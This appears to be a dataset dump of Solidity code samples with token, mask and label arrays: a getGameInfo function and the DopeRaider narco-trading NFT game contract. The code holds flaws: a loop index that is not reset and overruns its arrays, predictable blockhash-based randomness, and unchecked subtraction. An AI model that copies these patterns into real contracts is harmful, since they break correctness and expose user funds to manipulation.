function getGameInfo() external view returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256[], uint256[], uint256[]){ uint256 startId; uint256 endId; (startId,endId) = schema.productionCardIdRange(); uint256 len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory units = new uint256[](len); uint256 i; while (startId <= endId) { units[i] = cards.getOwnedCount(msg.sender,startId); i++; startId++; } (startId,endId) = schema.battleCardIdRange(); len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory battles = new uint256[](len); while (startId <= endId) { battles[i] = cards.getOwnedCount(msg.sender,startId); i++; startId++; } (startId, endId) = schema.upgradeIdRange(); len = SafeMath.add(SafeMath.sub(endId,startId),1); uint256[] memory upgrades = new uint256[](len); while (startId <= endId) { upgrades[i] = cards.getUpgradesOwned(msg.sender,startId); i++; startId++; } return ( cards.getTotalEtherPool(1), cards.getJadeProduction(msg.sender), cards.balanceOf(msg.sender), cards.coinBalanceOf(msg.sender,1), cards.getTotalJadeProduction(), cards.getNextSnapshotTime(), units, battles,upgrades ); }
5,393,058
[ 1, 774, 2562, 603, 12504, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 7162, 339, 966, 1435, 3903, 1476, 1135, 261, 11890, 5034, 16, 225, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 16, 2254, 5034, 63, 6487, 2254, 5034, 63, 6487, 2254, 5034, 63, 5717, 95, 21281, 565, 2254, 5034, 787, 548, 31, 203, 565, 2254, 5034, 679, 548, 31, 203, 565, 261, 1937, 548, 16, 409, 548, 13, 273, 1963, 18, 17273, 6415, 548, 2655, 5621, 203, 565, 2254, 5034, 562, 273, 14060, 10477, 18, 1289, 12, 9890, 10477, 18, 1717, 12, 409, 548, 16, 1937, 548, 3631, 21, 1769, 7010, 565, 2254, 5034, 8526, 3778, 4971, 273, 394, 2254, 5034, 8526, 12, 1897, 1769, 203, 540, 203, 565, 2254, 5034, 277, 31, 203, 565, 1323, 261, 1937, 548, 1648, 679, 548, 13, 288, 203, 1377, 4971, 63, 77, 65, 273, 18122, 18, 588, 5460, 329, 1380, 12, 3576, 18, 15330, 16, 1937, 548, 1769, 203, 1377, 277, 9904, 31, 203, 1377, 787, 548, 9904, 31, 203, 565, 289, 203, 4202, 203, 565, 261, 1937, 548, 16, 409, 548, 13, 273, 1963, 18, 70, 4558, 298, 6415, 548, 2655, 5621, 203, 565, 562, 273, 14060, 10477, 18, 1289, 12, 9890, 10477, 18, 1717, 12, 409, 548, 16, 1937, 548, 3631, 21, 1769, 203, 565, 2254, 5034, 8526, 3778, 324, 4558, 1040, 273, 394, 2254, 5034, 8526, 12, 1897, 1769, 203, 377, 203, 565, 1323, 261, 1937, 548, 1648, 679, 548, 13, 288, 203, 1377, 324, 4558, 1040, 63, 77, 65, 273, 18122, 18, 588, 5460, 329, 1380, 2 ]
pragma solidity ^0.4.19; // DopeRaider Narcos Contract // by gasmasters.io // contact: [email protected] contract DistrictsCoreInterface { // callable by other contracts to control economy function isDopeRaiderDistrictsCore() public pure returns (bool); function increaseDistrictWeed(uint256 _district, uint256 _quantity) public; function increaseDistrictCoke(uint256 _district, uint256 _quantity) public; function distributeRevenue(uint256 _district , uint8 _splitW, uint8 _splitC) public payable; function getNarcoLocation(uint256 _narcoId) public view returns (uint8 location); } /// @title sale clock auction interface contract SaleClockAuction { function isSaleClockAuction() public pure returns (bool); function createAuction(uint256 _tokenId, uint256 _startingPrice,uint256 _endingPrice,uint256 _duration,address _seller)public; function withdrawBalance() public; function averageGen0SalePrice() public view returns (uint256); } //// @title A facet of NarcoCore that manages special access privileges. contract NarcoAccessControl { /// @dev Emited when contract is upgraded event ContractUpgrade(address newContract); address public ceoAddress; address public cooAddress; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; modifier onlyCEO() { require(msg.sender == ceoAddress); _; } modifier onlyCLevel() { require( msg.sender == cooAddress || msg.sender == ceoAddress ); _; } function setCEO(address _newCEO) public onlyCEO { require(_newCEO != address(0)); ceoAddress = _newCEO; } function setCOO(address _newCOO) public onlyCEO { require(_newCOO != address(0)); cooAddress = _newCOO; } function withdrawBalance() external onlyCLevel { msg.sender.transfer(address(this).balance); } /*** Pausable functionality adapted from OpenZeppelin ***/ /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } function pause() public onlyCLevel whenNotPaused { paused = true; } function unpause() public onlyCLevel whenPaused { // can&#39;t unpause if contract was upgraded paused = false; } /// @dev The address of the calling contract address public districtContractAddress; DistrictsCoreInterface public districtsCore; function setDistrictAddress(address _address) public onlyCLevel { _setDistrictAddresss(_address); } function _setDistrictAddresss(address _address) internal { DistrictsCoreInterface candidateContract = DistrictsCoreInterface(_address); require(candidateContract.isDopeRaiderDistrictsCore()); districtsCore = candidateContract; districtContractAddress = _address; } modifier onlyDopeRaiderContract() { require(msg.sender == districtContractAddress); _; } } /// @title Base contract for DopeRaider. Holds all common structs, events and base variables. contract NarcoBase is NarcoAccessControl { /*** EVENTS ***/ event NarcoCreated(address indexed owner, uint256 narcoId, string genes); /// @dev Transfer event as defined in current draft of ERC721. Emitted every time a narcos /// ownership is assigned, including newly created narcos. event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /*** DATA TYPES ***/ // consumable indexes /* uint constant gasIndex = 0; uint constant seedsIndex = 1; uint constant chemicalsIndex = 2; uint constant ammoIndex = 3; // skills indexes - each skill can range from 1 - 10 in level uint constant speedIndex = 0; // speed of travel uint constant growIndex = 1; // speed/yield of grow uint constant refineIndex = 2; // refine coke uint constant attackIndex = 3; // attack uint constant defenseIndex = 4; // defense uint constant capacityIndex = 5; // how many items can be carried. // stat indexes uint constant dealsCompleted = 0; // dealsCompleted uint constant weedGrowCompleted = 1; // weedGrowCompleted uint constant cokeRefineCompleted = 2; // refineCompleted uint constant attacksSucceeded = 3; // attacksSucceeded uint constant defendedSuccessfully = 4; defendedSuccessfully uint constant raidsCompleted = 5; // raidsCompleted uint constant escapeHijack = 6; // escapeHijack uint constant travelling = 7; // traveller uint constant recruited = 8; // recruitment */ /// @dev The main Narco struct. Every narco in DopeRaider is represented by a copy /// of this structure. struct Narco { // The Narco&#39;s genetic code is packed into these 256-bits. string genes; // represents his avatar string narcoName; // items making level uint16 [9] stats; // inventory totals uint16 weedTotal; uint16 cokeTotal; uint8 [4] consumables; // gas, seeds, chemicals, ammo uint16 [6] skills; // travel time, grow, refine, attack, defend carry uint256 [6] cooldowns; // skill cooldown periods speed, grow, refine, attack, others if needed uint8 homeLocation; } /*** STORAGE ***/ /// @dev An array containing the Narco struct for all Narcos in existence. The ID /// of each narco is actually an index into this array. Narco[] narcos; /// @dev A mapping from narco IDs to the address that owns them. All narcos have /// some valid owner address, even gen0 narcos are created with a non-zero owner. mapping (uint256 => address) public narcoIndexToOwner; // @dev A mapping from owner address to count of tokens that address owns. // Used internally inside balanceOf() to resolve ownership count. mapping (address => uint256) ownershipTokenCount; /// @dev A mapping from NarcoIDs to an address that has been approved to call /// transferFrom(). A zero value means no approval is outstanding. mapping (uint256 => address) public narcoIndexToApproved; function _transfer(address _from, address _to, uint256 _tokenId) internal { // since the number of narcos is capped to 2^32 // there is no way to overflow this ownershipTokenCount[_to]++; narcoIndexToOwner[_tokenId] = _to; if (_from != address(0)) { ownershipTokenCount[_from]--; delete narcoIndexToApproved[_tokenId]; } Transfer(_from, _to, _tokenId); } // Will generate a new Narco and generate the event function _createNarco( string _genes, string _name, address _owner ) internal returns (uint) { uint16[6] memory randomskills= [ uint16(random(9)+1), uint16(random(9)+1), uint16(random(9)+1), uint16(random(9)+1), uint16(random(9)+1), uint16(random(9)+31) ]; uint256[6] memory cools; uint16[9] memory nostats; Narco memory _narco = Narco({ genes: _genes, narcoName: _name, cooldowns: cools, stats: nostats, weedTotal: 0, cokeTotal: 0, consumables: [4,6,2,1], skills: randomskills, homeLocation: uint8(random(6)+1) }); uint256 newNarcoId = narcos.push(_narco) - 1; require(newNarcoId <= 4294967295); // raid character (token 0) live in 7 and have random special skills if (newNarcoId==0){ narcos[0].homeLocation=7; // in vice island narcos[0].skills[4]=800; // defense narcos[0].skills[5]=65535; // carry } NarcoCreated(_owner, newNarcoId, _narco.genes); _transfer(0, _owner, newNarcoId); return newNarcoId; } function subToZero(uint256 a, uint256 b) internal pure returns (uint256) { if (b <= a){ return a - b; }else{ return 0; } } function getRemainingCapacity(uint256 _narcoId) public view returns (uint16 capacity){ uint256 usedCapacity = narcos[_narcoId].weedTotal + narcos[_narcoId].cokeTotal + narcos[_narcoId].consumables[0]+narcos[_narcoId].consumables[1]+narcos[_narcoId].consumables[2]+narcos[_narcoId].consumables[3]; capacity = uint16(subToZero(uint256(narcos[_narcoId].skills[5]), usedCapacity)); } // respect it&#39;s called now function getLevel(uint256 _narcoId) public view returns (uint16 rank){ /* dealsCompleted = 0; // dealsCompleted weedGrowCompleted = 1; // weedGrowCompleted cokeRefineCompleted = 2; // refineCompleted attacksSucceeded = 3; // attacksSucceeded defendedSuccessfully = 4; defendedSuccessfully raidsCompleted = 5; // raidsCompleted escapeHijack = 6; // escapeHijack travel = 7; // travelling */ rank = (narcos[_narcoId].stats[0]/12)+ (narcos[_narcoId].stats[1]/4)+ (narcos[_narcoId].stats[2]/4)+ (narcos[_narcoId].stats[3]/6)+ (narcos[_narcoId].stats[4]/6)+ (narcos[_narcoId].stats[5]/1)+ (narcos[_narcoId].stats[7]/12) ; } // pseudo random - but does that matter? uint64 _seed = 0; function random(uint64 upper) private returns (uint64 randomNumber) { _seed = uint64(keccak256(keccak256(block.blockhash(block.number-1), _seed), now)); return _seed % upper; } // never call this from a contract /// @param _owner The owner whose tokens we are interested in. function narcosByOwner(address _owner) public view returns(uint256[] ownedNarcos) { uint256 tokenCount = ownershipTokenCount[_owner]; uint256 totalNarcos = narcos.length - 1; uint256[] memory result = new uint256[](tokenCount); uint256 narcoId; uint256 resultIndex=0; for (narcoId = 0; narcoId <= totalNarcos; narcoId++) { if (narcoIndexToOwner[narcoId] == _owner) { result[resultIndex] = narcoId; resultIndex++; } } return result; } } /// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens contract ERC721 { function implementsERC721() public pure returns (bool); function totalSupply() public view returns (uint256 total); function balanceOf(address _owner) public view returns (uint256 balance); function ownerOf(uint256 _tokenId) public view returns (address owner); function approve(address _to, uint256 _tokenId) public; function transferFrom(address _from, address _to, uint256 _tokenId) public; function transfer(address _to, uint256 _tokenId) public; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); // Optional // function name() public view returns (string name); // function symbol() public view returns (string symbol); // function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId); // function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl); } /// @title The facet of the DopeRaider core contract that manages ownership, ERC-721 (draft) compliant. contract NarcoOwnership is NarcoBase, ERC721 { string public name = "DopeRaider"; string public symbol = "DOPR"; function implementsERC721() public pure returns (bool) { return true; } /// @dev Checks if a given address is the current owner of a particular narco. /// @param _claimant the address we are validating against. /// @param _tokenId narco id, only valid when > 0 function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return narcoIndexToOwner[_tokenId] == _claimant; } /// @dev Checks if a given address currently has transferApproval for a particular narco. /// @param _claimant the address we are confirming narco is approved for. /// @param _tokenId narco id, only valid when > 0 function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return narcoIndexToApproved[_tokenId] == _claimant; } /// @dev Marks an address as being approved for transferFrom(), overwriting any previous /// approval. Setting _approved to address(0) clears all transfer approval. /// NOTE: _approve() does NOT send the Approval event. function _approve(uint256 _tokenId, address _approved) internal { narcoIndexToApproved[_tokenId] = _approved; } /// @notice Returns the number of narcos owned by a specific address. /// @param _owner The owner address to check. function balanceOf(address _owner) public view returns (uint256 count) { return ownershipTokenCount[_owner]; } /// @notice Transfers a narco to another address. If transferring to a smart /// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or /// DopeRaider specifically) or your narco may be lost forever. Seriously. /// @param _to The address of the recipient, can be a user or contract. /// @param _tokenId The ID of the narco to transfer. function transfer( address _to, uint256 _tokenId ) public { require(_to != address(0)); require(_owns(msg.sender, _tokenId)); _transfer(msg.sender, _to, _tokenId); } /// @notice Grant another address the right to transfer a specific narco via /// transferFrom(). This is the preferred flow for transfering NFTs to contracts. /// @param _to The address to be granted transfer approval. Pass address(0) to /// clear all approvals. /// @param _tokenId The ID of the narco that can be transferred if this call succeeds. function approve( address _to, uint256 _tokenId ) public { require(_owns(msg.sender, _tokenId)); _approve(_tokenId, _to); Approval(msg.sender, _to, _tokenId); } /// @notice Transfer a narco owned by another address, for which the calling address /// has previously been granted transfer approval by the owner. /// @param _from The address that owns the narco to be transfered. /// @param _to The address that should take ownership of the narco. Can be any address, /// including the caller. /// @param _tokenId The ID of the narco to be transferred. function transferFrom( address _from, address _to, uint256 _tokenId ) public { require(_approvedFor(msg.sender, _tokenId)); require(_owns(_from, _tokenId)); require(_to != address(0)); _transfer(_from, _to, _tokenId); } function totalSupply() public view returns (uint) { return narcos.length - 1; } function ownerOf(uint256 _tokenId) public view returns (address owner) { owner = narcoIndexToOwner[_tokenId]; require(owner != address(0)); } } // this helps with district functionality // it gives the ability to an external contract to do the following: // * update narcos stats contract NarcoUpdates is NarcoOwnership { function updateWeedTotal(uint256 _narcoId, bool _add, uint16 _total) public onlyDopeRaiderContract { if(_add==true){ narcos[_narcoId].weedTotal+= _total; }else{ narcos[_narcoId].weedTotal-= _total; } } function updateCokeTotal(uint256 _narcoId, bool _add, uint16 _total) public onlyDopeRaiderContract { if(_add==true){ narcos[_narcoId].cokeTotal+= _total; }else{ narcos[_narcoId].cokeTotal-= _total; } } function updateConsumable(uint256 _narcoId, uint256 _index, uint8 _new) public onlyDopeRaiderContract { narcos[_narcoId].consumables[_index] = _new; } function updateSkill(uint256 _narcoId, uint256 _index, uint16 _new) public onlyDopeRaiderContract { narcos[_narcoId].skills[_index] = _new; } function incrementStat(uint256 _narcoId , uint256 _index) public onlyDopeRaiderContract { narcos[_narcoId].stats[_index]++; } function setCooldown(uint256 _narcoId , uint256 _index , uint256 _new) public onlyDopeRaiderContract { narcos[_narcoId].cooldowns[_index]=_new; } } /// @title Handles creating auctions for sale of narcos. /// This wrapper of ReverseAuction exists only so that users can create /// auctions with only one transaction. contract NarcoAuction is NarcoUpdates { SaleClockAuction public saleAuction; function setSaleAuctionAddress(address _address) public onlyCLevel { SaleClockAuction candidateContract = SaleClockAuction(_address); require(candidateContract.isSaleClockAuction()); saleAuction = candidateContract; } function createSaleAuction( uint256 _narcoId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) public whenNotPaused { // Auction contract checks input sizes // If narco is already on any auction, this will throw // because it will be owned by the auction contract require(_owns(msg.sender, _narcoId)); _approve(_narcoId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer approval after escrowing the narco. saleAuction.createAuction( _narcoId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Transfers the balance of the sale auction contract /// to the DopeRaiderCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); } } /// @title all functions related to creating narcos contract NarcoMinting is NarcoAuction { // Limits the number of narcos the contract owner can ever create. uint256 public promoCreationLimit = 200; uint256 public gen0CreationLimit = 5000; // Constants for gen0 auctions. uint256 public gen0StartingPrice = 1 ether; uint256 public gen0EndingPrice = 20 finney; uint256 public gen0AuctionDuration = 1 days; // Counts the number of narcos the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo narco, up to a limit function createPromoNarco( string _genes, string _name, address _owner ) public onlyCLevel { if (_owner == address(0)) { _owner = cooAddress; } require(promoCreatedCount < promoCreationLimit); require(gen0CreatedCount < gen0CreationLimit); promoCreatedCount++; gen0CreatedCount++; _createNarco(_genes, _name, _owner); } /// @dev Creates a new gen0 narco with the given genes and /// creates an auction for it. function createGen0Auction( string _genes, string _name ) public onlyCLevel { require(gen0CreatedCount < gen0CreationLimit); uint256 narcoId = _createNarco(_genes,_name,address(this)); _approve(narcoId, saleAuction); saleAuction.createAuction( narcoId, _computeNextGen0Price(), gen0EndingPrice, gen0AuctionDuration, address(this) ); gen0CreatedCount++; } /// @dev Computes the next gen0 auction starting price, given /// the average of the past 4 prices + 50%. function _computeNextGen0Price() internal view returns (uint256) { uint256 avePrice = saleAuction.averageGen0SalePrice(); // sanity check to ensure we don&#39;t overflow arithmetic (this big number is 2^128-1). require(avePrice < 340282366920938463463374607431768211455); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < gen0StartingPrice) { nextPrice = gen0StartingPrice; } return nextPrice; } } /// @title DopeRaider: Collectible, narcos on the Ethereum blockchain. /// @dev The main DopeRaider contract contract DopeRaiderCore is NarcoMinting { // This is the main DopeRaider contract. We have several seperately-instantiated contracts // that handle auctions, districts and the creation of new narcos. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // narco ownership. // // - NarcoBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - NarcoAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - NarcoOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - NarcoUpdates: This file contains the methods necessary to allow a separate contract to update narco stats // // - NarcoAuction: Here we have the public methods for auctioning or bidding on narcos. // The actual auction functionality is handled in a sibling sales contract, // while auction creation and bidding is mostly mediated through this facet of the core contract. // // - NarcoMinting: This final facet contains the functionality we use for creating new gen0 narcos. // We can make up to 4096 "promo" narcos // Set in case the core contract is broken and an upgrade is required address public newContractAddress; bool public gamePaused = true; modifier whenGameNotPaused() { require(!gamePaused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenGamePaused { require(gamePaused); _; } function pause() public onlyCLevel whenGameNotPaused { gamePaused = true; } function unpause() public onlyCLevel whenGamePaused { // can&#39;t unpause if contract was upgraded gamePaused = false; } // EVENTS event GrowWeedCompleted(uint256 indexed narcoId, uint yield); event RefineCokeCompleted(uint256 indexed narcoId, uint yield); function DopeRaiderCore() public { ceoAddress = msg.sender; cooAddress = msg.sender; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It&#39;s up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) public onlyCLevel whenPaused { newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it&#39;s from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require(msg.sender == address(saleAuction)); } /// @param _id The ID of the narco of interest. function getNarco(uint256 _id) public view returns ( string narcoName, uint256 weedTotal, uint256 cokeTotal, uint16[6] skills, uint8[4] consumables, string genes, uint8 homeLocation, uint16 level, uint256[6] cooldowns, uint256 id, uint16 [9] stats ) { Narco storage narco = narcos[_id]; narcoName = narco.narcoName; weedTotal = narco.weedTotal; cokeTotal = narco.cokeTotal; skills = narco.skills; consumables = narco.consumables; genes = narco.genes; homeLocation = narco.homeLocation; level = getLevel(_id); cooldowns = narco.cooldowns; id = _id; stats = narco.stats; } uint256 public changeIdentityNarcoRespect = 30; function setChangeIdentityNarcoRespect(uint256 _respect) public onlyCLevel { changeIdentityNarcoRespect=_respect; } uint256 public personalisationCost = 0.01 ether; // pimp my narco function setPersonalisationCost(uint256 _cost) public onlyCLevel { personalisationCost=_cost; } function updateNarco(uint256 _narcoId, string _genes, string _name) public payable whenGameNotPaused { require(getLevel(_narcoId)>=changeIdentityNarcoRespect); // minimum level to recruit a narco require(msg.sender==narcoIndexToOwner[_narcoId]); // can&#39;t be moving other peoples narcos about require(msg.value>=personalisationCost); narcos[_narcoId].genes = _genes; narcos[_narcoId].narcoName = _name; } uint256 public respectRequiredToRecruit = 150; function setRespectRequiredToRecruit(uint256 _respect) public onlyCLevel { respectRequiredToRecruit=_respect; } function recruitNarco(uint256 _narcoId, string _genes, string _name) public whenGameNotPaused { require(msg.sender==narcoIndexToOwner[_narcoId]); // can&#39;t be moving other peoples narcos about require(getLevel(_narcoId)>=respectRequiredToRecruit); // minimum level to recruit a narco require(narcos[_narcoId].stats[8]<getLevel(_narcoId)/respectRequiredToRecruit); // must have recruited < respect / required reqpect (times) _createNarco(_genes,_name, msg.sender); narcos[_narcoId].stats[8]+=1; // increase number recruited } // crafting section uint256 public growCost = 0.003 ether; function setGrowCost(uint256 _cost) public onlyCLevel{ growCost=_cost; } function growWeed(uint256 _narcoId) public payable whenGameNotPaused{ require(msg.sender==narcoIndexToOwner[_narcoId]); // can&#39;t be moving other peoples narcos about require(msg.value>=growCost); require(now>narcos[_narcoId].cooldowns[1]); //cooldown must have expired uint16 growSkillLevel = narcos[_narcoId].skills[1]; // grow uint16 maxYield = 9 + growSkillLevel; // max amount can be grown based on skill uint yield = min(narcos[_narcoId].consumables[1],maxYield); require(yield>0); // gotta produce something // must be home location uint8 district = districtsCore.getNarcoLocation(_narcoId); require(district==narcos[_narcoId].homeLocation); // do the crafting uint256 cooldown = now + ((910-(10*growSkillLevel))* 1 seconds); //calculate cooldown switch to minutes later narcos[_narcoId].cooldowns[1]=cooldown; // use all available - for now , maybe later make optional narcos[_narcoId].consumables[1]=uint8(subToZero(uint256(narcos[_narcoId].consumables[1]),yield)); narcos[_narcoId].weedTotal+=uint8(yield); narcos[_narcoId].stats[1]+=1; // update the statistic for grow districtsCore.increaseDistrictWeed(district , yield); districtsCore.distributeRevenue.value(growCost)(uint256(district),50,50); // distribute the revenue to districts pots GrowWeedCompleted(_narcoId, yield); // notification event } uint256 public refineCost = 0.003 ether; function setRefineCost(uint256 _cost) public onlyCLevel{ refineCost=_cost; } function refineCoke(uint256 _narcoId) public payable whenGameNotPaused{ require(msg.sender==narcoIndexToOwner[_narcoId]); // can&#39;t be moving other peoples narcos about require(msg.value>=refineCost); require(now>narcos[_narcoId].cooldowns[2]); //cooldown must have expired uint16 refineSkillLevel = narcos[_narcoId].skills[2]; // refine uint16 maxYield = 3+(refineSkillLevel/3); // max amount can be grown based on skill uint yield = min(narcos[_narcoId].consumables[2],maxYield); require(yield>0); // gotta produce something // must be home location uint8 district = districtsCore.getNarcoLocation(_narcoId); require(district==narcos[_narcoId].homeLocation); // do the crafting // uint256 cooldown = now + min(3 minutes,((168-(2*refineSkillLevel))* 1 seconds)); // calculate cooldown uint256 cooldown = now + ((910-(10*refineSkillLevel))* 1 seconds); // calculate cooldown narcos[_narcoId].cooldowns[2]=cooldown; // use all available - for now , maybe later make optional narcos[_narcoId].consumables[2]=uint8(subToZero(uint256(narcos[_narcoId].consumables[2]),yield)); narcos[_narcoId].cokeTotal+=uint8(yield); narcos[_narcoId].stats[2]+=1; districtsCore.increaseDistrictCoke(district, yield); districtsCore.distributeRevenue.value(refineCost)(uint256(district),50,50); // distribute the revenue to districts pots RefineCokeCompleted(_narcoId, yield); // notification event } function min(uint a, uint b) private pure returns (uint) { return a < b ? a : b; } }
@dev Checks if a given address currently has transferApproval for a particular narco. @param _claimant the address we are confirming narco is approved for. @param _tokenId narco id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) { return narcoIndexToApproved[_tokenId] == _claimant; }
10,588,642
[ 1, 4081, 309, 279, 864, 1758, 4551, 711, 7412, 23461, 364, 279, 6826, 290, 297, 2894, 18, 225, 389, 14784, 970, 326, 1758, 732, 854, 6932, 310, 290, 297, 2894, 353, 20412, 364, 18, 225, 389, 2316, 548, 290, 297, 2894, 612, 16, 1338, 923, 1347, 405, 374, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 25990, 1290, 12, 2867, 389, 14784, 970, 16, 2254, 5034, 389, 2316, 548, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 290, 297, 2894, 1016, 774, 31639, 63, 67, 2316, 548, 65, 422, 389, 14784, 970, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
